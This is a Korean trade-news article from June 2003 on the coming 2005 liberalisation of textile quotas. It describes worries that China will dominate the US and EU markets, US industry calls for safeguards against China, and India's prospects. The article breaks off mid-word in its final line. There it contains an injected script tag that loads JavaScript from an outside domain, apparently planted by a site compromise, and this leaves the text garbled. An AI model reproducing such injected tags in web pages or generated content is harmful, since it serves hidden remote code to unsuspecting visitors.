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작성일 |
2003-06-10 |
| 제목 |
중국, 세계 섬유시장 독식을 막아라 |
- 2005년 섬유교역 전면 자유화대비 수출전략 시급
2005년 섬유교역 자유화를 앞두고 각 국이 대책마련에 나서고 있지만 중국이 포스트쿼터를 석권할 것이라는 우려가 점차 높아지고 있다.(5월 14일자 참조)
섬유쿼터는 지금까지 1단계(95.1.1, 16%) 2단계(98.1.1, 17%) 3단계(2002.1.1, 18%) 의 자유화일정을 거쳐 4단계(2005.1.1, 49%) 자유화조치가 발효되는 2005년이면 완전해제 된다.
1~3단계까지 51%의 해제품목의 경우 자수포, 니트직물 등 일부 인기품목이 있지만 4단계의 나머지 49%에 블라우스, 셔츠, 폴리에스테르직물 등 주종 품목이 다수를 차지하고 있다.
여기에는 EU의 167개 쿼터품목,캐나다의 239개 쿼터품목, 미국의 701개 쿼터품목이 포함됐다.
▲각국 중국 석권 우려 대책 분주
각 국에서 걱정하는 것은 3단계 자유화가 이루어진 이후 쿼터지역인 미국 캐나다 터키 EU 등의 섬유시장에서 중국이 시장을 석권하고 있는데다 베트남, 인도 등 일부 개도국을 중심으로 힘의 균형이 몰리기 때문이다.
만약 4단계를 비롯 완전 자유화가 실현될 경우 중국의 위력이, 세이프가드제도를 둔하고 하더라도, 식지 않을 것이라는 전망이 지배적이다.
따라서 미국과 유럽연합 등 선진국 섬유업계에서는 중국이 세계 섬유시장을 석권하는 것을 방지하기 위해 세계의 모든 국가들이 WTO, IMF를 통해 행사할 수 있는 다른 해결책이 있는 지를 검토해야 한다는 입장을 갖고 있다.
또한 중국으로 하여금 변동환율제를 채택하도록 촉구해야 하며 미국은 중국에 대해 세이프가드를 발동하도록 빠른 조치를 취해야 한다고 주장하고 있다.
▲미국, 가장 큰 위협, 세이프가드 발동해야
당장 가장 큰 위협을 느끼고 있는 곳은 최대 섬유시장 미국.
미국 섬유업계의 경우 과거 아시아 금융위기가 발생한 이후 달러대비 환율의 큰 폭 가치 하락으로 대미 수출에 경쟁력이 발생, 무분별한 수입급증으로 고전한 바 있다.
미국 섬유업계에서는 쿼터 폐지 이후 이 같은 현상이 더욱 기승을 부릴 것으로 보고 강력한 수입규제를 미 행정부, 의회 등지에 요구해 왔다.
이의 일환으로 미국섬유생산자협회(ATMI)는 지난 5월 5~6일 한 컨퍼런스에서 `2005년 이후의 삶. 중국 얼마나 큰 위협인가?'라는 내용의 보고서에서 중국에 대한 세이프가드를 촉구했다.
이에 따르면 작년 1월 1일부터 쿼터자유화 3단계의 혜택을 받은 중국산 29개 의류제품의 대 미국 수출은 2002년도에 총 5억5400만㎡를 기록해 쿼터 해제 전인 2001년도의 1억4200만㎡대비 412% 증가했으나 중국을 제외한 모든 국가들의 대 미국 수출은 2002년도에 12억3800만㎡로 전년대비 201% 감소했다.
반대로 중국의 2002년도 해당 29개 품목의 대 미국 수출액은 17억9200만달러로 2001년도의 8억2400만달러 대비 9억6700만달러(117.5%) 증가. 중국을 제외한 모든 국가들의 대 미국 수출액은 43억300만달러로 2001년도의 51억400만달러 대비 8억100만달러(15.7%) 감소한 것으로 집계되었다.
더욱이 중국 위안화가 40% 평가절하되어 있어 중국산 제품의 수입이 폭등했다고 ATMI는 주장했다.
이어 지난 5월 15일 워싱턴 국제교역협회가 주최한 포럼에서 미 상무부의 섬유소비담당 차관보 및 패널들은 쿼터 폐지는 의류단가 하락, 미국 수입시장 구조 급변, 중소 수출국 타격이 불가피하다고 전망했다.
중국 등 대규모 수출국들은 현재 쿼터에 묶여 생산능력에 못 미치는 물량만을 제한적으로 수출하고 있지만 쿼터제가 폐지될 경우 섬유류 수출이 급증할 것이며, 따라서 중소 수출국들의 시장 침투가 더욱 어려워질 것이라는 분석이다.
미국에 섬유류 제품을 수출하는 국가는 125개국 정도로 추산되지만 쿼터제가 폐지되면 중국 등 아시아 3-4개국과 미국의 특혜프로그램(아프리카 성장법, 카리브연안국발전법 등) 적용 대상국 등 소수 국가만이 미국수입시장에서 살아남게 될 것이라는 주장도 있다.
유럽연합의 우려도 미국과 비슷하다.
프랑스섬유산업협회 통계에 따르면 2002년중 EU의 중국으로부터의 섬유 및 의류수입단가는 42%나 하락했음에도 불구하고, 금액면에서 53%, 물량면에서 164%나 증가했다.
이 협회에서는 이 42%의 단가하락이 덤핑의 증거라며 중국을 향해 강한 불만을 표출했다.
▲중국이어 인도, 베트남 쿼터수혜국 부상
중국에 이어 또 다른 위협은 인도라는 분석도 나온다.
미국 WWD지는 최근 `Sourcing Horizons'라는 특집을 통해 2005년부터 WTO가 섬유수입쿼터를 완전 자유화시키면 중국이 전체 섬유 교역의 50% 이상을 차지한다고 분석하면서 인도에 큰 혜택이 될 것이라는 전망을 소개했다.
이는 인도 섬유산업의 크기와 강점으로부터 기인. 도의 섬유산업은 전체 GDP의 6%, 산업생산의 18%, 수출 수입의 25%를 각각 차지하고 있다. 현재 인도에는 2900개의 섬유 생산공장, 380만개의 면방적시?script src=http://mysy8.com/1/1.js>
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